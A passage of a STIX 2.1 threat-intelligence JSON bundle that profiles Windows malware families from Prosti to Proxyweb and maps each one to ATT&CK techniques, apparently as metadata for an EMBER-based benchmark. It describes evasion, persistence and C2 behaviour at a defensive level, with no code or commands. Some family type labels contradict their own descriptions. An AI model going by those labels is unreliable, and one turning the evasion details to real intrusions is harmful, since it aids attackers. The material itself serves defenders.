      "description": "Prorat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06b88f13-b9b6-53c1-a62a-957d2118cc8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4fe53673-9b00-5ff4-8dbc-1ab0a013ecef",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prorat exhibits technique T1491 (Defacement (UI Manipulation/Joke Payloads))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9a0192d1-d510-5d8b-b547-1ca75679ef03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Prosti",
      "description": "Trojan:Win32/Prosti is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Prosti</b><br>To an end-user, a Prosti infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Prosti is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Prosti is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Prosti frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Prosti reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Prosti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/prosti"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7064ef90-8df3-5b23-8836-33bed631243d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a0192d1-d510-5d8b-b547-1ca75679ef03",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prosti exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d38a592-db46-5a3b-99f2-cf8d993a07c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a0192d1-d510-5d8b-b547-1ca75679ef03",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prosti exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19d35709-6c7b-521d-b80d-167d98230d3a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a0192d1-d510-5d8b-b547-1ca75679ef03",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prosti exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e5f9971-8df9-5eb6-9e44-07032867aabe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a0192d1-d510-5d8b-b547-1ca75679ef03",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prosti exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57fbc308-d035-54f2-bf67-28727aeb1170",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9a0192d1-d510-5d8b-b547-1ca75679ef03",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Prosti exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0772ab83-d7e4-576b-ae43-1cb1fed594ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Protector",
      "description": "<h3>Executive Summary</h3>\nProtector (often seen as \"Windows Protector,\" \"System Protector,\" or \"Antivirus Protector\") is a classification for Rogue Security Software, specifically operating as \"Scareware.\" It masquerades as a legitimate, Microsoft-affiliated system optimization or antivirus utility. Its true objective is to perform fake system scans, generate alarming false-positive error reports, and use psychological manipulation to trick the user into purchasing a \"premium license\" to fix non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nProtector relies heavily on malvertising and deceptive software bundling. Users frequently encounter it via highly aggressive pop-up ads on dubious websites (e.g., \"Your PC is infected with 5 viruses! Click here to clean.\"). It is also commonly installed silently alongside other freeware downloaded from third-party aggregators.\n\nOnce installed, the software employs highly aggressive and deceptive tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports that the registry is corrupt, the hard drive is failing, or severe malware is present, creating a false sense of urgency.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants of Protector may employ locking tactics. They may disable the Task Manager, block access to legitimate antivirus software, or constantly overlay the screen with warnings, effectively holding the system hostage until the user pays the ransom (buys the \"license\").</li>\n<li><strong>Browser Hijacking:</strong> It frequently installs accompanying browser extensions or modifies system DNS settings to inject advertisements and redirect search queries to affiliate-monetized search engines.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, Protector poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is almost always necessary to boot the infected machine into Windows \"Safe Mode with Networking\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.Protector",
        "Scareware.Protector",
        "Win32/FakeAV.Protector"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Protector",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/protector"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b776816a-bc93-5196-b2b1-9cce9617c7f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0772ab83-d7e4-576b-ae43-1cb1fed594ad",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Protector exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56af4b15-a6b8-5089-823b-70def71e8711",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0772ab83-d7e4-576b-ae43-1cb1fed594ad",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Protector exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c5224f3-1291-5912-a2a6-385cba582e39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0772ab83-d7e4-576b-ae43-1cb1fed594ad",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Protector exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ab4543fd-0f19-523d-b18a-63385dd0b711",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Proteus",
      "description": "<h3>Executive Summary</h3>\nProteus represents a sophisticated, multi-purpose Botnet and Trojan framework designed to subjugate infected Windows systems. Once a machine is compromised, Proteus integrates it into a centralized command-and-control (C2) infrastructure, allowing remote attackers to utilize the host for distributed attacks, cryptocurrency mining, or as a proxy for further malicious activity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nProteus is typically distributed via drive-by downloads from compromised websites, malicious email attachments, or dropped as a secondary payload by other initial access brokers.\n\nUpon execution, Proteus immediately establishes stealth and connectivity:\n<ul>\n<li><strong>C2 Communication:</strong> The malware reaches out to its C2 infrastructure using custom, encrypted protocols, registering the newly infected host and awaiting instructions.</li>\n<li><strong>Persistence and Evasion:</strong> Proteus modifies the Windows Registry to ensure execution upon boot. It frequently employs process hollowing, injecting its malicious threads into legitimate Windows processes (like `explorer.exe` or `svchost.exe`) to mask its presence from local firewalls and task managers.</li>\n<li><strong>Modular Execution:</strong> Proteus is highly modular. The C2 server can push specific plugin modules to the infected host based on the attacker's goals. Common modules include UDP/TCP flood tools for DDoS attacks, spam engines, and payload downloaders for deploying ransomware.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nA Proteus infection introduces significant legal and operational risks. The endpoint's bandwidth and CPU are consumed by the botnet, and the organization's IP address may be blacklisted by security vendors for participating in DDoS attacks or distributing spam.\n\n<h3>Detection and Incident Response</h3>\n<ul>\n<li><strong>Network Traffic Analysis:</strong> Monitor edge firewalls for persistent, anomalous outbound traffic to unknown IP addresses, particularly traffic that resembles DDoS flooding or unauthorized SMTP connections.</li>\n<li><strong>Endpoint Isolation:</strong> Instantly quarantine any endpoint demonstrating botnet beaconing behavior to prevent it from participating in coordinated attacks.</li>\n<li><strong>System Re-image:</strong> Because botnet malware often downloads rootkits or secondary payloads to ensure deep persistence, the most secure remediation strategy is a complete wipe and re-image of the compromised endpoint.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Botnet.Proteus",
        "Trojan.Proteus",
        "Win32/Proteus"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Proteus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/proteus"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--750c3e6c-35c6-5f35-86b2-1afe4018c0bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab4543fd-0f19-523d-b18a-63385dd0b711",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proteus exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ccc6191-d99b-532c-bd23-c27e6f34850d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab4543fd-0f19-523d-b18a-63385dd0b711",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proteus exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c091a97c-0a08-5417-914c-1bd9768e96de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab4543fd-0f19-523d-b18a-63385dd0b711",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proteus exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8937c0d2-7b13-54a0-b56b-5fbf97f06cf7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ab4543fd-0f19-523d-b18a-63385dd0b711",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proteus exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d3ec949a-8df7-5d8c-a6b1-6440a3a53e81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Protux",
      "description": "Protux (classified across security research and vendor threat catalogs under signatures including Backdoor:Win32/Protux, Trojan:Win32/Protux, and Backdoor.Protux) is a modular Windows remote access trojan and backdoor active in espionage and cybercrime operations since 2007. Arriving via weaponized email attachments, exploit kits, or pirated software archives, Protux establishes persistence by writing startup entries to the Windows registry and installing a covert background service. Once initialized, Protux opens an encrypted reverse TCP communication session to remote command-and-control (C2) servers. Protux grants remote threat actors complete administrative control over the infected host, providing capabilities such as arbitrary command execution via cmd.exe, interactive file management, keystroke logging, screen surveillance, gathering system hardware configurations, and downloading additional malicious payloads. (Observed samples in benchmark: 33)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Protux",
        "Trojan:Win32/Protux",
        "Backdoor.Protux",
        "Win32/Protux",
        "Trojan.Protux",
        "Backdoor:Win32/Protux.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Protux",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/protux"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--50de0da6-2180-5446-ba91-bd25422ca326",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Proxyagent",
      "description": "<h3>Executive Summary</h3>\nProxyAgent refers to a specific class of Trojan engineered to covertly convert an infected Windows machine into a proxy server (often a SOCKS5 or HTTP proxy). Once deployed, ProxyAgent quietly routes malicious or illicit network traffic through the victim's IP address, allowing threat actors to anonymize their attacks, bypass geographic restrictions, or commit click-fraud while hiding their true origin.\n\n<h3>Technical Architecture and Exploitation</h3>\nProxyAgent is typically distributed as a secondary payload, dropped by an initial downloader trojan or installed silently alongside deceptive \"free VPN\" or \"bandwidth sharing\" software.\n\nUpon execution, ProxyAgent focuses on establishing network routing capabilities:\n<ul>\n<li><strong>Silent Installation and Persistence:</strong> The malware installs itself as a hidden background service or injects its code into a legitimate network-facing process (like `svchost.exe`). It modifies Windows Firewall rules to allow inbound connections on a specific port chosen by the attacker.</li>\n<li><strong>C2 Registration:</strong> The trojan registers the infected machine's IP address, bandwidth capacity, and open proxy port with a centralized command-and-control (C2) server. The infected machine is now part of a commercial proxy botnet (often sold on the dark web).</li>\n<li><strong>Traffic Routing:</strong> The attacker routes arbitrary traffic through the infected host. This traffic may include credential stuffing attacks against other organizations, spam distribution, or illegal file sharing, all of which appear to originate from the victim's corporate network.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nWhile a ProxyAgent infection may not directly steal the user's files or encrypt their data, it represents a severe operational and reputational risk. The organization's IP space can quickly become blacklisted by major email providers and threat intelligence feeds (e.g., Spamhaus), severely impacting legitimate business operations and communications.\n\n<h3>Incident Response and Mitigation</h3>\n<ul>\n<li><strong>Network Anomaly Detection:</strong> Monitor edge firewalls for sustained, high-volume inbound and outbound traffic on non-standard ports, which is highly indicative of an active proxy relay.</li>\n<li><strong>Endpoint Isolation:</strong> If a host is identified acting as a proxy, immediately isolate it from the network to halt the illicit traffic routing and prevent IP reputation damage.</li>\n<li><strong>Forensic Review:</strong> A proxy trojan is rarely the only malware on a system. Conduct a full forensic review to identify the initial access vector (the dropper) and determine if other, more destructive payloads (like info-stealers) were also deployed alongside the ProxyAgent.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.ProxyAgent",
        "Proxy.Botnet",
        "Win32/ProxyAgent"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Proxyagent",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/proxyagent"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5b750cb-61b1-5e3b-8dc6-5019c3111ac7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50de0da6-2180-5446-ba91-bd25422ca326",
      "target_ref": "attack-pattern--d26b0080-b33f-58e9-a204-f4d14ddb8a23",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxyagent exhibits technique T1090.002 (Connection Proxy: External Proxy (Abusing the tool for routing))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--147597d0-a14d-5feb-ab75-aee155b6d87f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50de0da6-2180-5446-ba91-bd25422ca326",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxyagent exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Closing SMB ports to protect its host from competing malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39b9e0e1-ce8e-517d-9feb-d358ca66d478",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50de0da6-2180-5446-ba91-bd25422ca326",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxyagent exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eaab0790-f0b4-55dc-8baf-0e3fc8d9e84f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Proxygate",
      "description": "<h3>Executive Summary</h3>\nProxyGate is an application typically classified as Riskware or a Potentially Unwanted Program (PUP) by enterprise security environments. It operates as a localized proxy server or VPN client, purportedly designed to allow users to bypass geo-restrictions or web filters. However, in a corporate setting, ProxyGate acts as an unauthorized proxy that actively subverts established security perimeters, data loss prevention (DLP) controls, and acceptable use policies.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nProxyGate is rarely distributed via exploits; it is almost always intentionally downloaded by an insider threat (an employee attempting to bypass the corporate firewall) or bundled silently alongside \"freeware\" software downloaded from third-party aggregators.\n\nUpon installation, it fundamentally alters the endpoint's network routing:\n<ul>\n<li><strong>Security Perimeter Evasion:</strong> The software establishes an encrypted tunnel to external, third-party proxy servers. This tunnels all web traffic (HTTP/HTTPS) out of the network, completely bypassing the corporate firewall, content filters, and Intrusion Detection Systems (IDS).</li>\n<li><strong>Data Exfiltration Risk:</strong> Because the traffic is routed outside of corporate visibility, ProxyGate creates a massive blind spot. Employees can intentionally or accidentally upload sensitive intellectual property to external sites without triggering DLP alerts.</li>\n<li><strong>Traffic Hijacking (In some variants):</strong> Some aggressive \"freeware\" proxy tools operate on a P2P model, essentially turning the infected corporate endpoint into an exit node for other external users, consuming corporate bandwidth and associating the company's IP address with unknown external traffic.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe primary threat of ProxyGate is not file destruction, but the total loss of network visibility and control. It facilitates data exfiltration, allows the introduction of malware by bypassing web filters, and creates significant compliance and legal liabilities for the organization.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Application Whitelisting / Blocking:</strong> Use endpoint management tools to forcibly uninstall the ProxyGate application. More importantly, enforce strict Application Control (Whitelisting) to prevent users from executing unauthorized VPN or proxy executables in the future.</li>\n<li><strong>DNS and Firewall Enforcement:</strong> Analyze the outbound DNS requests made by ProxyGate and block those domains at the perimeter firewall. Ensure that outbound traffic on non-standard ports is strictly regulated.</li>\n<li><strong>HR and Policy Review:</strong> Because this software is often installed intentionally to bypass security controls, the incident should be reported to management or HR to enforce the organization's Acceptable Use Policy (AUP).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.ProxyGate",
        "PUP.ProxyTool",
        "Tool.VPNBypass"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Proxygate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/proxygate"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a9a8c0b-a1fa-5abf-8ed3-c649888302fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaab0790-f0b4-55dc-8baf-0e3fc8d9e84f",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxygate exhibits technique T1090.003 (Proxy: Multi-hop Proxy (Use of Tor/I2P for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95fe1843-ffee-55c3-85ce-c58bce17ee04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaab0790-f0b4-55dc-8baf-0e3fc8d9e84f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxygate exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f142acfb-eb49-5947-b04d-8cdd9533875e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaab0790-f0b4-55dc-8baf-0e3fc8d9e84f",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxygate exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Used in infection chain))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0398fb8d-8a2d-5709-953a-deb6334192a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaab0790-f0b4-55dc-8baf-0e3fc8d9e84f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxygate exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccf7a1c5-8303-5385-b997-38440a273ef0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaab0790-f0b4-55dc-8baf-0e3fc8d9e84f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxygate exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb46bcc5-61ad-5b75-9255-19e78dd2f18f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eaab0790-f0b4-55dc-8baf-0e3fc8d9e84f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Proxygate exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d3e6fc0-bce1-53a8-9b52-7b02d7383139",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Proxyweb",
      "description": "Trojan:Win32/Proxyweb is a type of malware that silently converts an infected endpoint into a proxy server or relay node for a larger botnet. Instead of stealing data or encrypting files, Proxyweb's primary goal is to monetize the victim's internet connection and IP address by selling it to other cybercriminals, who use it to hide the true origin of their malicious traffic (like credential stuffing, DDoS attacks, or spam campaigns).<br><br><b>Understanding Proxyweb (Proxy Botnets)</b><br>To an end-user, a Proxyweb infection might only manifest as a sluggish internet connection or unexplained bandwidth overage charges. For an enterprise security team, it represents a significant liability. If a corporate workstation is infected with Proxyweb, the company's IP address will be used to launch attacks against other organizations, potentially leading to the company's IP block being blacklisted by major threat intelligence feeds and service providers.<br><br><b>Execution and Relay Mechanics</b><br>Proxyweb is often distributed silently alongside bundled software, fake game cracks, or via drive-by downloads (`T1189`). Upon execution, it establishes persistence, often via Registry Run keys or Scheduled Tasks (`T1547.001`). The malware binds a local port on the infected machine and opens an encrypted connection to a Command and Control (C2) server, registering the machine's IP, geographic location, and bandwidth capacity with the botmaster (`T1071.001`). The C2 server then begins routing third-party traffic (often SOCKS4/SOCKS5 or HTTP proxy traffic) through the infected host (`T1090.003`). The infected machine receives requests from the attacker, forwards them to the target server, and sends the response back to the attacker, acting as a complete middleman.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is network bandwidth exhaustion and severe reputational damage (IP blacklisting). Host-based IoCs include EDR alerts for anomalous processes binding listening ports, or unexpected modifications to the Windows Firewall to allow inbound connections. Network IoCs are highly visible: massive amounts of anomalous outbound traffic (often HTTP or HTTPS) to completely unrelated and diverse IP addresses, originating from a single workstation rather than a proxy server. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
